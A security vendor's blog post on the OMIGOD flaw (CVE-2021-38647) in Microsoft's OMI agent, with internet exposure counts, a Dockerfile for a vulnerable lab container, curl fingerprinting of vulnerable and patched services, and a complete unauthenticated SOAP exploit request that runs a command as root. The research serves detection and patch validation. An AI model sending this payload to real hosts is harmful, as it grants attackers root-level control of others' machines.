Skip to content
Join the Censys Community Forum: Connect, Share, and Thrive! | Start Here
Blogs

Understanding the impact of OMIGOD (CVE-2021-38647)

Overview

Cloud security company wiz.io recently announced a series of vulnerabilities related to a component that is installed automatically on many Azure Linux virtual machines: The Microsoft Open Management Infrastructure (OMI) agent. One of these vulnerabilities is critical in nature, having a 9.6 CVSS score. The root cause of the vulnerability is a missing check for authorization before executing a requested remote management command. The Wiz blog post on this vulnerability contains fantastic details on exploitation paths and an overall thorough analysis. The purpose of this agent is to enable remote management for Linux-based machines using WinRM, which was originally functionality built into Microsoft Windows.

There is already evidence of mass scanning for this issue occurring across the Internet, so it is critical for organizations to patch.

Censys performed an impact assessment using our Universal Internet Dataset. Here are our key findings:

  • There are 56 101 known exposed services worldwide that are likely vulnerable to this issue, including a major health organization and two major entertainment companies. The small footprint can be associated with nuances of how the OMI service responds, and that exposing OMI to the Internet likely requires deliberate effort.
  • Network scanners miss the OMI service unless they report on open sockets even when the socket does not return information, or they coerce the service to respond using a Content-Type header.
  • OMI appears to be deployed outside of Azure as well.
  • Censys has reached out to three organizations to inform them of exposure.
  • Censys has released a Dockerfile that can be used by the security research community to test for vulnerability and patch validation.

Update 2021-09-17: 101 hosts are Internet-facing

Using a specific payload to pull versions from the OMI service, Censys ran a subsequent search for exposed OMI hosts. We were able to discover 101, up from 56 previously with a scan only containing the Content-Type header:

Identifying impacted hosts

Censys scans the Internet regularly at varied intervals with a greater intensity in known Cloud network IP address ranges, because of their likelihood to change hands more frequently. Given our unique Internet dataset and an intuition from years of experience that most organizations make mistakes when configuring cloud services, we expected to see thousands of hosts exposed. An initial search pulled up 2.3 million hosts, showing the top 10 below by autonomous system (AS):

Note, you can run this report yourself: (services.port: 5985 or services.port: 5986 or services.port: 1270)

Of course, digging deeper, there would be many services on these ports that are NOT OMI. First, classic/Windows WinRM runs on 5985 and 5986 too. Those services usually respond with a Microsoft-HTTPAPI Server header, so they’re easy to filter out. Additionally, there will be tons of services that are not OMI simply because people generally reassign web services on higher ports to avoid detection, though this is a poor form of security. With these issues at hand, really identifying OMI hosts requires a deeper understanding of how OMI works. With some initial help and pointers from @wvu of Rapid7, Censys built a Dockerfile which will create an OMI environment directly from binaries released on the OMI GitHub releases page, as well as SCXCore to achieve execution.

FROM ubuntu
LABEL org.opencontainers.image.version="1.0.0"
LABEL org.opencontainers.image.vendor="Censys"
LABEL org.opencontainers.image.url="https://censys.io/blog"
LABEL org.opencontainers.image.title="Censys Microsoft OMI Container Environment"
LABEL org.opencontainers.image.description="Creates an environment which exposes a plaintext OMI service on port 5985"

ARG OMI_VERSION=1.6.8-0
ARG SCX_VERSION=1.6.6-0
ARG SCX_TARGET=universal

RUN apt-get update && apt-get install -y \
    wget \
&& rm -rf /var/lib/apt/lists/*

RUN wget https://github.com/microsoft/omi/releases/download/v$OMI_VERSION/omi-$OMI_VERSION.ssl_110.ulinux.x64.deb \
    && dpkg -i omi-$OMI_VERSION.ssl_110.ulinux.x64.deb \
    && rm omi-$OMI_VERSION.ssl_110.ulinux.x64.deb \
    && sed -i "s|httpport=0|httpport=5985|g" /etc/opt/omi/conf/omiserver.conf

RUN wget https://github.com/microsoft/SCXcore/releases/download/$SCX_VERSION/scx-$SCX_VERSION.ssl_110.$SCX_TARGET.x64.deb \
    && dpkg -i scx-$SCX_VERSION.ssl_110.$SCX_TARGET.x64.deb \
    && rm scx-$SCX_VERSION.ssl_110.$SCX_TARGET.x64.deb

RUN /etc/init.d/omid stop

EXPOSE 5895
ENTRYPOINT /etc/init.d/omid restart; tail -f /var/opt/omi/log/omiserver.log 

With this in hand, we can build a vulnerable OMI environment:

docker build -t "censys/omigod" .

Then, we can run the environment:

docker run --rm -d -p 5985:5985 censys/omigod

We now have a running docker container with the OMI service bound to port 5985 locally (feel free to change the port number on the left of the colon if you’d like to use a different port). The next step is as simple as playing with the server. Let’s try a simple GET / request, which is what most scanners will send broadly across the Internet to inventory:

curl localhost:5985 -v
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> GET / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
>
* Empty reply from server
* Connection #0 to host localhost left intact
curl: (52) Empty reply from server
* Closing connection 0

Interestingly, the connection immediately closes. Could this be why we aren’t seeing results in most scan engines, such as Censys, Shodan, etc.? Peering into the code (after all, it’s open source) could give us more clues, but it turns out that the server will respond to literally any request that contains a Content-Type header, so let’s set one:

curl localhost:5985 -v -H 'Content-Type: lol'
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> GET / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: lol
>
< HTTP/1.1 400 Bad Request
< Content-Length: 0
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
* Connection #0 to host localhost left intact
* Closing connection 0

Much better! Now we’re getting a real response back. In this case, the server is indicating that it wants us to use soap+xml as the content type. So, let’s try setting that, and supplying a bad soap message to see what we get:

curl localhost:5985 -v -H 'Content-Type: application/soap+xml' -d '<'
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> POST / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Content-Length: 1
>
* upload completely sent off: 1 out of 1 bytes
< HTTP/1.1 500 Internal Server Error
< Content-Length: 1360
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
* Connection #0 to host localhost left intact
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><SOAP-ENV:Header><wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To><wsa:Action>http://schemas.dmtf.org/wbem/wsman/1/wsman/fault</wsa:Action><wsa:MessageID>uuid:4CA3D632-CC25-0005-0000-000000020000</wsa:MessageID></SOAP-ENV:Header><SOAP-ENV:Body><SOAP-ENV:Fault><SOAP-ENV:Code><SOAP-ENV:Value>SOAP-ENV:Receiver</SOAP-ENV:Value><SOAP-ENV:Subcode><SOAP-ENV:Value>wsman:InternalError</SOAP-ENV:Value></SOAP-ENV:Subcode></SOAP-ENV:Code><SOAP-ENV:Reason><SOAP-ENV:Text xml:lang="en-US">Failed to parse XML. An XML element was expected and not found.</SOAP-ENV:Text></SOAP-ENV:Reason></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>* Closing connection 0

Fantastic. We can actually invoke the part of the code that is attempting to read a submitted SOAP message (it tells us an error attempting to parse our broken payload), which implies that authentication has been bypassed. Finally, we can try an exploit, also care of @wvu (note, this runs `id` on the host, captured in the `aWQ=` base64 encoded execution string below):

curl localhost:5985 -v -H 'Content-Type: application/soap+xml' -d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"><s:Header><a:To>HTTP://127.0.0.1:5985/wsman/</a:To><w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI><a:ReplyTo><a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address></a:ReplyTo><a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action><w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize><a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID><w:OperationTimeout>PT1M30S</w:OperationTimeout><w:Locale xml:lang="en-us" s:mustUnderstand="false"/><p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/><w:OptionSet s:mustUnderstand="true"/><w:SelectorSet><w:Selector Name="__cimnamespace">root/scx</w:Selector></w:SelectorSet></s:Header><s:Body><p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:Script>aWQ=</p:Script><p:Arguments/><p:timeout>0</p:timeout><p:b64encoded>true</p:b64encoded></p:ExecuteScript_INPUT></s:Body></s:Envelope>'

Here’s the executed result:

*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> POST / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Content-Length: 1506
> Expect: 100-continue
>
* Done waiting for 100-continue
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Content-Length: 1409
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
* Connection #0 to host localhost left intact
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><SOAP-ENV:Header><wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To><wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action><wsa:MessageID>uuid:4CA3D632-CC25-0005-0000-0000000B0000</wsa:MessageID><wsa:RelatesTo>uuid:00B60932-CC01-0005-0000-000000010000</wsa:RelatesTo></SOAP-ENV:Header><SOAP-ENV:Body><p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:ReturnValue>TRUE</p:ReturnValue><p:ReturnCode>0</p:ReturnCode><p:StdOut>uid=0(root) gid=0(root) groups=0(root)
</p:StdOut><p:StdErr></p:StdErr></p:SCX_OperatingSystem_OUTPUT></SOAP-ENV:Body></SOAP-ENV:Envelope>* Closing connection 0

As you can see above, we have execution as root (“uid=0(root) gid=0(root) groups=0(root)”), confirming the vulnerability.

Now that we have verified we have a vulnerable execution environment, what about a not vulnerable environment? We can do that as well by simply specifying the updated version number as a Docker container build argument, and a new container name to differentiate:

docker build --build-arg OMI_VERSION=1.6.8-1 -t "censys/omigod-patched" .

Then run it with:

docker run --rm -d -p 6985:5985 censys/omigod-patched

With a functioning patched container, we can test out the same cURL commands as above and observe responses. As it would turn out, the patched version does not reply at all unless an Authorization header is set, and leaves the socket hanging for 60 seconds:

curl localhost:6985 -v -k -H 'Content-Type: application/soap+xml'
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 6985 (#0)
> GET / HTTP/1.1
> Host: localhost:6985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
>
* Empty reply from server
* Connection #0 to host localhost left intact
curl: (52) Empty reply from server
* Closing connection 0

Once we set the Authorization header, we can see the server reply:

curl localhost:6985 -v -k -H 'Content-Type: application/soap+xml' -H 'Authorization: Basic xxx='
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 6985 (#0)
> GET / HTTP/1.1
> Host: localhost:6985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Authorization: Basic xxx=
>
< HTTP/1.1 401 Unauthorized
< Content-Length: 0
< WWW-Authenticate: Basic realm="WSMAN"
< WWW-Authenticate: Negotiate
< WWW-Authenticate: Kerberos
<
* Connection #0 to host localhost left intact
* Closing connection 0

So, this far, we have gleaned a number of key facts about this service:

  • A vulnerable version of the Microsoft OMI service does not reply unless a Content-Type header is set.
  • If the Content-Type header is set on a request to a vulnerable OMI service, it will respond with 400 / Bad Request if the Content-Type is not “application/soap+xml”
  • A patched version of the Microsoft OMI service will hang unless the Authorization header is set.
  • There is no need to specify the URI subpath of /wsman, as OMI happily interprets any SOAP thrown its way.
  • Microsoft-based OMI deployments appear to have a cloudapp.net certificate common name, but this isn’t guaranteed.
  • The TLS version of the service will behave the same way as the plaintext version.

With this information, we can create more targeted scans to understand impact, by simply performing our normal scans and setting the Content-Type header during the HTTP request. Censys ran this scan from two perspectives of the Internet, via carriers Tata and NTT. All in all, we identified only 56 hosts, which is much smaller than we initially predicted. A majority of the hosts were in Azure. Due to the small sample size and targeted nature of these hosts, Censys will not be releasing any datasets to protect those organizations (which are likely already receiving malicious packets).

Conclusion

Clearly CVE-2021-38647 is a critical issue that should be patched immediately. Fortunately, mass external exposure as seen with other hosts in the past (Microsoft Exchange comes to mind) does not appear to be present in this case. However, Azure customers and users of OMI outside of Azure should still patch immediately, as these issues would easily allow compromise with the highest level privileges possible into any host which is running OMI.

For more information about how Censys data is used to inform industries of critical risks and vulnerabilities, check out the rest of our blog. To request a demo of our Attack Surface Management platform or other queries, contact us!

Attack Surface Management Solutions
Learn more